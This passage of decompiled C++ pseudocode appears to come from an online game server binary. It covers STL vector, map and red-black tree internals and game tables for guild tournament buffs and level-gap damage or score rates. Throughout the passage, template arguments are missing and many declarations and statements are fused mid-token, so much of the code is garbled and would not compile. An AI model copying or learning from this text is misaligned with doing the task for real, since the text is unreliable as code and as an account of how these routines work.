[bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0054C280) -------------------------------------------------------- void __cdecl Table::SetTableDir(const char *pkDir) { std::basic_string_std::allocator>::assign(&strDirPath, pkDir, strlen(pkDir)); } //----- (0054C2B0) -------------------------------------------------------- std::basic_string,std::allocator > *__cdecl GuildTournamentMasterBuffTable::GetMasterBuff(std::basic_string,std::allocator > *result, int nType) { unsigned int i; // esi@1 int v3; // eax@2 void *v4; // eax@4 const char *v5; // ecx@6 int v6; // eax@6 int v7; // edi@6 char v8; // dl@7 std::basic_string,std::allocator > *v9; // eax@8 for ( i = 0; ; ++i ) { v3 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v3 || i >= *(_DWORD *)(v3 + 40) ) { v9 = result; result->_Mysize = 0; result->_Myres = 15; result->_Bx._Buf[0] = 0; return v9; } v4 = CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), i); if ( *(_WORD *)v4 == nType ) break; } v5 = (char *)v4 + 2; v6 = (int)((char *)v4 + 2); result->_Myres = 15; result->_Mysize = 0; result->_Bx._Buf[0] = 0; v7 = v6 + 1; do v8 = *(_BYTE *)v6++; while ( v8 ); std::basic_string_std::allocator>::assign(result, v5, v6 - v7); return result; } // 12570A34: using guessed type int ITableBase_GUILD_TOURNAMENT_MASTERBUFF_GuildTournamentMasterBuffTable___ms_pkTable; //----- (0054C330) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GUILD_TOURNAMENT_LVGAP *const *_Val) { std::vector > *v4; // esi@1 GUILD_TOURNAMENT_LVGAP **v5; // edx@1 signed int v6; // eax@2 unsigned int v7; // edi@4 signed int v8; // ecx@6 int v9; // ecx@11 int v10; // eax@15 int v11; // ecx@18 int v12; // eax@22 void *v13; // eax@25 unsigned int v14; // ebp@25 int v15; // eax@25 #325 **v16; // eax@25 GUILD_TOURNAMENT_LVGAP **v17; // eax@25 int v18; // ecx@26 int v19; // edi@28 int v20; // ebp@31 std::vector >::iterator v21; // ebx@31 int v22; // edx@31 unsigned int v23; // eax@31 int v24; // ecx@32 #325 **v25; // edi@33 void *_Newvec; // [sp+0h] [bp-4h]@25 unsigned int _Wherea; // [sp+8h] [bp+4h]@31 int _Counta; // [sp+Ch] [bp+8h]@25 v4 = this; v5 = this->_Myfirst; _Val = (GUILD_TOURNAMENT_LVGAP *const *)*_Val; if ( v5 ) v6 = this->_Myend - v5; else v6 = 0; v7 = _Count; if ( _Count ) { if ( v5 ) v8 = this->_Mylast - v5; else v8 = 0; if ( 1073741823 - v8 < _Count ) std::vector>::_Xlen(v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v20 = (int)v4->_Mylast; v21 = _Where; v22 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2; v23 = 4 * _Count; _Wherea = 4 * _Count; if ( v22 >= _Count ) { v25 = (#325 **)(v20 - v23); v4->_Mylast = (GUILD_TOURNAMENT_LVGAP **)std::vector>::_Ucopy( (char *)(v20 - v23), v20, (char *)v20); std::copy_backward( *(#325 ***)&v21, v25, (#325 **)v20); std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v21 + _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } else { std::vector>::_Ucopy( *(char **)&v21, v20, (char *)(*(_DWORD *)&v21 + v23)); std::vector>::_Ufill( (std::vector > *)v4, (#325 **)v4->_Mylast, _Count - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&v21) >> 2)); v24 = (int)&v4->_Mylast[_Wherea / 4]; v4->_Mylast = (GUILD_TOURNAMENT_LVGAP **)v24; std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(v24 - _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } } else { if ( 1073741823 - ((unsigned int)v6 >> 1) >= v6 ) v10 = ((unsigned int)v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) { if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; v10 = _Count + v12; } _Counta = 4 * v10; v13 = operator new(4 * v10); v14 = 4 * ((signed int)(*(_DWORD *)&_Where - (unsigned int)v4->_Myfirst) >> 2); _Newvec = v13; memmove((char *)v13, (char *)v4->_Myfirst, v14); v16 = std::vector>::_Ufill( (std::vector > *)v4, (#325 **)(v14 + v15), v7); memmove((char *)v16, *(char **)&_Where, 4 * ((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2)); v17 = v4->_Myfirst; if ( v17 ) v18 = v4->_Mylast - v17; else v18 = 0; v19 = v18 + v7; if ( v17 ) operator delete(v4->_Myfirst); v4->_Myend = (GUILD_TOURNAMENT_LVGAP **)((char *)_Newvec + _Counta); v4->_Mylast = (GUILD_TOURNAMENT_LVGAP **)((char *)_Newvec + 4 * v19); v4->_Myfirst = (GUILD_TOURNAMENT_LVGAP **)_Newvec; } } } //----- (0054C510) -------------------------------------------------------- void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right) { std::vector > *v2; // esi@1 GUILD_TOURNAMENT_LVGAP **v3; // ecx@1 signed int v4; // eax@2 int v5; // edi@7 void *v6; // eax@7 GUILD_TOURNAMENT_LVGAP **v7; // ecx@7 GUILD_TOURNAMENT_LVGAP **v8; // ST00_4@7 int v9; // [sp-Ch] [bp-20h]@1 std::vector,std::allocator > >::iterator,std::allocator,std::allocator_Myfirst; v11 = &v9; thisa = (std::vector,std::allocator > >::iterator,std::allocator,std::allocator_Mylast - v3; else v4 = 0; v2->_Myfirst = 0; v2->_Mylast = 0; v2->_Myend = 0; if ( v4 ) { if ( (unsigned int)v4 > 0x3FFFFFFF ) std::vector>::_Xlen(v2); v5 = 4 * v4; v6 = operator new(4 * v4); v2->_Myfirst = (GUILD_TOURNAMENT_LVGAP **)v6; v2->_Mylast = (GUILD_TOURNAMENT_LVGAP **)v6; v2->_Myend = (GUILD_TOURNAMENT_LVGAP **)((char *)v6 + v5); v7 = _Right->_Mylast; v8 = _Right->_Myfirst; v12 = 0; v2->_Mylast = (GUILD_TOURNAMENT_LVGAP **)std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( (std::list,std::allocator > >::iterator *)v8, (std::list,std::allocator > >::iterator *)v7, (std::list,std::allocator > >::iterator *)v6, (std::allocator,std::allocator > >::iterator> *)v2, (std::_Nonscalar_ptr_iterator_tag)_Right); } } //----- (0054C5D0) -------------------------------------------------------- int std::_Tree>_std::less_std::allocator>>>_0>>::erase(...) { std::_Tree >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator > *v10; // eax@18 int v11; // ebx@21 int v12; // eax@30 int v13; // eax@32 char v14; // al@35 std::_Tree >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator,std::allocator > thisa; // [sp+4h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+20h] [bp-34h]@2 int v23; // [sp+50h] [bp-4h]@2 v3 = this; v20 = this; if ( *(_BYTE *)(_Where + 33) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v23 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; std::_Tree>_std::less_std::allocator>>>_0>>::const_iterator::_Inc(&_Where); if ( *(_BYTE *)(*(_DWORD *)v4 + 33) ) { v5 = *(_DWORD *)(v4 + 8); LABEL_9: v7 = *(_DWORD *)(v4 + 4); if ( !*(_BYTE *)(v5 + 33) ) *(_DWORD *)(v5 + 4) = v7; v8 = *((_DWORD *)v3 + 1); if ( *(_DWORD *)(v8 + 4) == v4 ) { *(_DWORD *)(v8 + 4) = v5; } else { if ( *(_DWORD *)v7 == v4 ) *(_DWORD *)v7 = v5; else *(_DWORD *)(v7 + 8) = v5; } v9 = *((_DWORD *)v3 + 1); if ( *(_DWORD *)v9 == v4 ) { if ( *(_BYTE *)(v5 + 33) ) v10 = (std::_Tree_nod >,std::less,std::allocator > *)v7; else v10 = std::_Tree>_std::less_std::allocator>>>_0>>::_Min((std::_Tree_nod >,std::less,std::allocator > *)v5); *(_DWORD *)v9 = v10; } v11 = *((_DWORD *)v20 + 1); if ( *(_DWORD *)(v11 + 8) == v4 ) { if ( *(_BYTE *)(v5 + 33) ) *(_DWORD *)(v11 + 8) = v7; else *(_DWORD *)(v11 + 8) = std::_Tree>_std::less_std::allocator>>>_0>>::_Max((std::_Tree_nod >,std::less,std::allocator > *)v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(v4 + 8) + 33) ) { v5 = *(_DWORD *)v4; goto LABEL_9; } v6 = _Where; v5 = *(_DWORD *)(_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(*(_DWORD *)v4 + 4) = _Where; *(_DWORD *)v6 = *(_DWORD *)v4; if ( v6 == *(_DWORD *)(v4 + 8) ) { v7 = v6; } else { v7 = *(_DWORD *)(v6 + 4); if ( !*(_BYTE *)(v5 + 33) ) *(_DWORD *)(v5 + 4) = v7; *(_DWORD *)v7 = v5; *(_DWORD *)(v6 + 8) = *(_DWORD *)(v4 + 8); *(_DWORD *)(*(_DWORD *)(v4 + 8) + 4) = v6; } v12 = *((_DWORD *)v3 + 1); if ( *(_DWORD *)(v12 + 4) == v4 ) { *(_DWORD *)(v12 + 4) = v6; } else { v13 = *(_DWORD *)(v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(v6 + 4) = *(_DWORD *)(v4 + 4); v14 = *(_BYTE *)(v6 + 32); *(_BYTE *)(v6 + 32) = *(_BYTE *)(v4 + 32); *(_BYTE *)(v4 + 32) = v14; LABEL_36: if ( *(_BYTE *)(v4 + 32) == 1 ) { v15 = v20; if ( v5 != *(_DWORD *)(*((_DWORD *)v20 + 1) + 4) ) { do { if ( *(_BYTE *)(v5 + 32) != 1 ) break; v16 = *(_DWORD *)v7; if ( v5 == *(_DWORD *)v7 ) { v16 = *(_DWORD *)(v7 + 8); if ( !*(_BYTE *)(v16 + 32) ) { *(_BYTE *)(v16 + 32) = 1; *(_BYTE *)(v7 + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate( v15, (std::_Tree_nod >,std::less,std::allocator > *)v7); v16 = *(_DWORD *)(v7 + 8); v15 = v20; } if ( *(_BYTE *)(v16 + 33) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v16 + 32) != 1 || *(_BYTE *)(*(_DWORD *)(v16 + 8) + 32) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v16 + 8) + 32) == 1 ) { *(_BYTE *)(*(_DWORD *)v16 + 32) = 1; *(_BYTE *)(v16 + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate( v15, (std::_Tree_nod >,std::less,std::allocator > *)v16); v16 = *(_DWORD *)(v7 + 8); v15 = v20; } *(_BYTE *)(v16 + 32) = *(_BYTE *)(v7 + 32); *(_BYTE *)(v7 + 32) = 1; *(_BYTE *)(*(_DWORD *)(v16 + 8) + 32) = 1; std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate( v15, (std::_Tree_nod >,std::less,std::allocator > *)v7); break; } } else { if ( !*(_BYTE *)(v16 + 32) ) { *(_BYTE *)(v16 + 32) = 1; *(_BYTE *)(v7 + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate( v15, (std::_Tree_nod >,std::less,std::allocator > *)v7); v16 = *(_DWORD *)v7; v15 = v20; } if ( *(_BYTE *)(v16 + 33) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v16 + 8) + 32) != 1 || *(_BYTE *)(*(_DWORD *)v16 + 32) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v16 + 32) == 1 ) { *(_BYTE *)(*(_DWORD *)(v16 + 8) + 32) = 1; *(_BYTE *)(v16 + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate( v15, (std::_Tree_nod >,std::less,std::allocator > *)v16); v16 = *(_DWORD *)v7; v15 = v20; } *(_BYTE *)(v16 + 32) = *(_BYTE *)(v7 + 32); *(_BYTE *)(v7 + 32) = 1; *(_BYTE *)(*(_DWORD *)v16 + 32) = 1; std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate( v15, (std::_Tree_nod >,std::less,std::allocator > *)v7); break; } } *(_BYTE *)(v16 + 32) = 0; LABEL_54: v5 = v7; v17 = v7 == *(_DWORD *)(*((_DWORD *)v15 + 1) + 4); v7 = *(_DWORD *)(v7 + 4); } while ( !v17 ); } *(_BYTE *)(v5 + 32) = 1; } if ( *(_DWORD *)(v4 + 20) ) operator delete(*(void **)(v4 + 20)); *(_DWORD *)(v4 + 20) = 0; *(_DWORD *)(v4 + 24) = 0; *(_DWORD *)(v4 + 28) = 0; operator delete((void *)v4); v18 = *((_DWORD *)v20 + 2); if ( v18 > 0 ) *((_DWORD *)v20 + 2) = v18 - 1; v19 = result; *result = _Where; return v19; } // 5E86D8: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (0054C8B0) -------------------------------------------------------- void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::_Erase(std::_Tree >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator_Isnil; v2 = i ) { std::_Tree>_std::less_std::allocator>>>_0>>::_Erase( v3, i->_Right); i = i->_Left; std::_Tree_nod>_std::less_std::allocator>>>_0>>::_Node::__Node(v2); operator delete(v2); } } //----- (0054C8F0) -------------------------------------------------------- int std::_Tree>_std::less_std::allocator>>>_0>>::_Buynode(...) { void *v6; // eax@1 void *v7; // esi@1 int v9; // [sp-Ch] [bp-24h]@1 void *v10; // [sp+0h] [bp-18h]@1 void *_Wherenode; // [sp+4h] [bp-14h]@1 int *v12; // [sp+8h] [bp-10h]@1 int v13; // [sp+14h] [bp-4h]@1 v12 = &v9; v6 = operator new(0x24u); v7 = v6; _Wherenode = v6; v13 = 0; v10 = v6; LOBYTE(v13) = 1; if ( v6 ) { *(_DWORD *)v6 = _Larg; *((_DWORD *)v6 + 1) = _Parg; *((_DWORD *)v6 + 2) = _Rarg; *((_DWORD *)v6 + 3) = _Val->first; std::vector>::vector>( (std::vector > *)v6 + 1, &_Val->second); *((_BYTE *)v7 + 32) = _Carg; *((_BYTE *)v7 + 33) = 0; } return (std::_Tree_nod >,std::less,std::allocator>_std::less_std::allocator>>>_0>>::erase(...) { std::_Tree >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator>_std::less_std::allocator>>>_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *result = v5; } else { std::_Tree>_std::less_std::allocator>>>_0>>::_Erase( this, *(std::_Tree_nod >,std::less,std::allocator>_std::less_std::allocator>>>_0>>::_Insert(...) { std::_Tree >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator > *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree >,std::less,std::allocator,std::allocator > thisa; // [sp+0h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@2 int v18; // [sp+4Ch] [bp-4h]@2 std::_Tree >,std::less,std::allocator= 0xCCCCCCBu ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = (std::_Tree >,std::less,std::allocator>_std::less_std::allocator>>>_0>>::_Buynode(this, *((std::_Tree_nod >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator_Left = (std::_Tree_nod >,std::less,std::allocator >,std::less,std::allocator_Right = (std::_Tree_nod >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator > *)v6; if ( !*(_BYTE *)(*(_DWORD *)(v6 + 4) + 32) ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 32) ) { if ( v11 == *(std::_Tree_nod >,std::less,std::allocator > **)(v12 + 8) ) { v11 = *(std::_Tree_nod >,std::less,std::allocator > **)v10; std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate( v5, *(std::_Tree_nod >,std::less,std::allocator > **)v10); } *(_BYTE *)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 32) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 4) + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate( v5, *(std::_Tree_nod >,std::less,std::allocator > **)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 4)); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 32) ) { if ( v11 == *(std::_Tree_nod >,std::less,std::allocator > **)v12 ) { v11 = *(std::_Tree_nod >,std::less,std::allocator > **)v10; std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate( v5, *(std::_Tree_nod >,std::less,std::allocator > **)v10); } *(_BYTE *)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 32) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 4) + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate( v5, *(std::_Tree_nod >,std::less,std::allocator > **)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 4)); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 32) = 1; *(_BYTE *)(v14 + 32) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 32) = 0; v11 = *(std::_Tree_nod >,std::less,std::allocator > **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11[2]; if ( *(_BYTE *)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 32) ) { v6 = _Vala; break; } } } v15 = result; *(_BYTE *)(*(_DWORD *)(*((_DWORD *)v5 + 1) + 4) + 32) = 1; *result = v6; return v15; } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0054CC00) -------------------------------------------------------- int std::_Tree>_std::less_std::allocator>>>_0>>::insert(...) { std::pair > > *v3; // ebp@1 std::_Tree >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocatorfirst; do { v7 = v8 < *(_DWORD *)(v6 + 12); v5 = v6; _Addleft = v8 < *(_DWORD *)(v6 + 12); if ( v8 >= *(_DWORD *)(v6 + 12) ) v6 = *(_DWORD *)(v6 + 8); else v6 = *(_DWORD *)v6; } while ( !*(_BYTE *)(v6 + 33) ); } v9 = v5; _Val = (std::pair > > *)v5; if ( v7 ) { if ( v5 == **((_DWORD **)v4 + 1) ) { v10 = *std::_Tree>_std::less_std::allocator>>>_0>>::_Insert( v4, (std::_Tree >,std::less,std::allocator >,std::less,std::allocatorsecond = 1; result->first = v10; return v11; } std::_Tree>_std::less_std::allocator>>>_0>>::const_iterator::_Dec((std::_Tree >,std::less,std::allocator > > > *)&_Val); v9 = (std::_Tree >,std::less,std::allocator= v3->first ) { v11 = result; result->second = 0; result->first = v9; } else { v12 = *std::_Tree>_std::less_std::allocator>>>_0>>::_Insert( v4, (std::_Tree >,std::less,std::allocator >,std::less,std::allocatorfirst = v12; result->second = 1; } return v11; } //----- (0054CCC0) -------------------------------------------------------- int std::_Tree>_std::less_std::allocator>>>_0>>::insert(...) { std::_Tree >,std::less,std::allocator >,std::less,std::allocator > > *v7; // esi@3 int v8; // eax@7 const int v9; // ebp@9 bool v10; // sf@9 unsigned __int8 v11; // of@9 std::_Tree >,std::less,std::allocator>_std::less_std::allocator>>>_0>>::_Insert( this, result, 1, *((std::_Tree_nod >,std::less,std::allocatorfirst < *(_DWORD *)(_Where + 12) ) { std::_Tree>_std::less_std::allocator>>>_0>>::_Insert( this, result, 1, (std::_Tree_nod >,std::less,std::allocatorfirst ) { std::_Tree>_std::less_std::allocator>>>_0>>::_Insert( this, result, 0, (std::_Tree_nod >,std::less,std::allocatorfirst; v11 = __OFSUB__(*(_DWORD *)(_Where + 12), _Val->first); v10 = *(_DWORD *)(_Where + 12) - _Val->first < 0; if ( *(_DWORD *)(_Where + 12) > _Val->first ) { _Val = (std::pair > > *)_Where; std::_Tree>_std::less_std::allocator>>>_0>>::const_iterator::_Dec((std::_Tree >,std::less,std::allocator > > > *)&_Val); if ( (signed int)_Val->second._Mylast < v9 ) { if ( *((_BYTE *)_Val->second._Myfirst + 33) ) { std::_Tree>_std::less_std::allocator>>>_0>>::_Insert( v4, result, 0, (std::_Tree_nod >,std::less,std::allocator>_std::less_std::allocator>>>_0>>::_Insert( v4, result, 1, (std::_Tree_nod >,std::less,std::allocator > > *)_Where, std::_Tree>_std::less_std::allocator>>>_0>>::const_iterator::_Inc((std::_Tree >,std::less,std::allocator > > > *)&_Val), _Val != *((std::pair > > **)v4 + 1)) && v9 >= (signed int)_Val->second._Mylast ) { LABEL_21: v12 = std::_Tree>_std::less_std::allocator>>>_0>>::insert( v4, (std::pair >,std::less,std::allocatorfirst; v5 = result; *result = v12; return v5; } if ( *(_BYTE *)(*(_DWORD *)(_Where + 8) + 33) ) { std::_Tree>_std::less_std::allocator>>>_0>>::_Insert( v4, result, 0, (std::_Tree_nod >,std::less,std::allocator>_std::less_std::allocator>>>_0>>::_Insert( v4, result, 1, (std::_Tree_nod >,std::less,std::allocator>_std::less_std::allocator>>>>::_map>_std::less_std::allocator>>>>(std::map >,std::less,std::allocator > > > > *this) { std::map >,std::less,std::allocator > > > > *v1; // esi@1 std::_Tree >,std::less,std::allocator >,std::less,std::allocator>_std::less_std::allocator>>>_0>>::erase( &this->baseclass_0, &result, **(std::_Tree >,std::less,std::allocatorgap4[0], *(std::_Tree >,std::less,std::allocatorgap4[0]); operator delete(*(void **)&v1->gap4[0]); *(_DWORD *)&v1->gap4[0] = 0; *(_DWORD *)&v1->gap4[4] = 0; } //----- (0054CE60) -------------------------------------------------------- void __thiscall std::map>_std::less_std::allocator>>>>::map>_std::less_std::allocator>>>>(std::map >,std::less,std::allocator > > > > *this) { std::map >,std::less,std::allocator > > > > *v1; // esi@1 std::_Tree_nod >,std::less,std::allocator > *v2; // eax@1 v1 = this; v2 = std::_Tree>_std::less_std::allocator>>>_0>>::_Buynode(&this->baseclass_0); *(_DWORD *)&v1->gap4[0] = v2; v2[16]._Alnod.baseclass_0.dummy[0] = 1; *(_DWORD *)(*(_DWORD *)&v1->gap4[0] + 4) = *(_DWORD *)&v1->gap4[0]; **(_DWORD **)&v1->gap4[0] = *(_DWORD *)&v1->gap4[0]; *(_DWORD *)(*(_DWORD *)&v1->gap4[0] + 8) = *(_DWORD *)&v1->gap4[0]; *(_DWORD *)&v1->gap4[4] = 0; } //----- (0054CE90) -------------------------------------------------------- std::vector > *__thiscall std::map>_std::less_std::allocator>>>>::operator__(std::map >,std::less,std::allocator > > > > *this, const int *_Keyval) { std::map >,std::less,std::allocator > > > > *v2; // edi@1 std::_Tree >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator > _Right; // [sp+0h] [bp-30h]@8 std::pair > > _Val; // [sp+10h] [bp-20h]@8 int v9; // [sp+2Ch] [bp-4h]@8 v2 = this; v3 = *(_DWORD *)&this->gap4[0]; v4 = *(_DWORD *)(v3 + 4); v5 = v3; while ( !*(_BYTE *)(v4 + 33) ) { if ( *(_DWORD *)(v4 + 12) >= *_Keyval ) { v5 = v4; v4 = *(_DWORD *)v4; } else { v4 = *(_DWORD *)(v4 + 8); } } if ( v5 == *(_DWORD *)&v2->gap4[0] || *_Keyval < *(_DWORD *)(v5 + 12) ) { _Right._Myfirst = 0; _Right._Mylast = 0; _Right._Myend = 0; _Val.first = *_Keyval; v9 = 0; std::vector>::vector>( &_Val.second, &_Right); LOBYTE(v9) = 1; v5 = *std::_Tree>_std::less_std::allocator>>>_0>>::insert( &v2->baseclass_0, (std::_Tree >,std::less,std::allocator > *)(v5 + 16); } //----- (0054CF50) -------------------------------------------------------- int __cdecl GuildTournamentLvGapTable::BalanceScoreMediate(int nType, int nScore, int nMurderLevel, int nVictimLevel) { std::vector > *v4; // ecx@1 GUILD_TOURNAMENT_LVGAP **v5; // edx@1 unsigned int i; // esi@1 int v7; // ecx@9 GUILD_TOURNAMENT_LVGAP **v8; // ecx@11 v4 = std::map>_std::less_std::allocator>>>>::operator__( &GuildTournamentLvGapTable::sm_mapBalanceDatas, &nType); nVictimLevel -= nMurderLevel; v5 = v4->_Myfirst; for ( i = 0; ; ++i ) { if ( !v5 ) goto LABEL_14; if ( v4->_Mylast - v5 <= i ) break; if ( (double)nVictimLevel >= v5[i]->LvGap ) { if ( !v5 || v4->_Mylast - v5 <= i ) std::vector>::_Xran(v4); v7 = v5[i]->PointRate; return nScore * v7 / 100; } } if ( v5 ) { v8 = v4->_Mylast; if ( v8 - v5 ) { v7 = (*(v8 - 1))->PointRate; return nScore * v7 / 100; } } LABEL_14: AssertClass::ac_AssertFail(&shineassert, "GuildTournamentBalanceTable::BalanceScoreMediate Not Find : %d", nType); return 0; } //----- (0054D000) -------------------------------------------------------- bool __thiscall GuildTournamentLvGapTable::DataProcess(GuildTournamentLvGapTable *this) { unsigned int v1; // ebx@1 int v2; // eax@2 void *v3; // eax@4 void *v4; // edi@4 int v5; // eax@4 std::vector > *v6; // eax@4 GUILD_TOURNAMENT_LVGAP **v7; // ecx@4 int v8; // esi@5 GUILD_TOURNAMENT_LVGAP **v9; // ecx@9 int _Keyval; // [sp+Ch] [bp-8h]@4 void *pBalance; // [sp+10h] [bp-4h]@4 v1 = 0; while ( 1 ) { v2 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v2 ) break; if ( v1 >= *(_DWORD *)(v2 + 40) ) break; v3 = CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), v1); v4 = v3; v5 = *(_WORD *)v3; pBalance = v4; _Keyval = v5; v6 = std::map>_std::less_std::allocator>>>>::operator__( &GuildTournamentLvGapTable::sm_mapBalanceDatas, &_Keyval); v7 = v6->_Myfirst; if ( v7 ) v8 = v6->_Mylast - v7; else v8 = 0; if ( v7 && v8 < v6->_Myend - v7 ) { v9 = v6->_Mylast; *v9 = (GUILD_TOURNAMENT_LVGAP *)v4; v6->_Mylast = v9 + 1; ++v1; } else { std::vector>::_Insert_n( v6, (std::vector >::iterator)v6->_Mylast, 1u, (GUILD_TOURNAMENT_LVGAP *const *)&pBalance); ++v1; } } return 1; } // 12570A28: using guessed type int ITableBase_GUILD_TOURNAMENT_LVGAP_GuildTournamentLvGapTable___ms_pkTable; //----- (0054D0A0) -------------------------------------------------------- char __thiscall LevelGap_Player_to_Player::GetID(LevelGap_Player_to_Player *this, DamageLvGapPVP *pkRecord) { return pkRecord->MyLv; } //----- (0054D0B0) -------------------------------------------------------- int __cdecl LevelGap_Player_to_Player::GetLevelCapRate(int nAttPlayerLv, int nDefPlayerLv) { int v2; // esi@1 int v3; // eax@3 int result; // eax@5 v2 = ITableBase::ms_pkTable; if ( (unsigned __int8)(*(int (__thiscall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 16))( ITableBase::ms_pkTable, nAttPlayerLv) && (unsigned __int8)nAttPlayerLv <= *(_BYTE *)(v2 + 196) && (v3 = *(_DWORD *)(*(_DWORD *)(v2 + 192) + 4 * (unsigned __int8)nAttPlayerLv)) != 0 && nDefPlayerLv < 150 ) result = *(_WORD *)(LevelGap_Player_to_Player::DefLv[nDefPlayerLv] + v3); else result = 1000; return result; } // 12570A50: using guessed type int ITableBase_DamageLvGapPVP_LevelGap_Player_to_Player___ms_pkTable; //----- (0054D110) -------------------------------------------------------- int __cdecl LevelGap_Player_to_Monster::GetLevelCapRate(int nPlayerLv, int nMonsterLv) { unsigned int i; // esi@1 int v3; // eax@2 for ( i = 0; ; ++i ) { v3 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v3 ) break; if ( i >= *(_DWORD *)(v3 + 40) ) break; if ( nMonsterLv - nPlayerLv <= *(_WORD *)CDataReader::GetRecord( 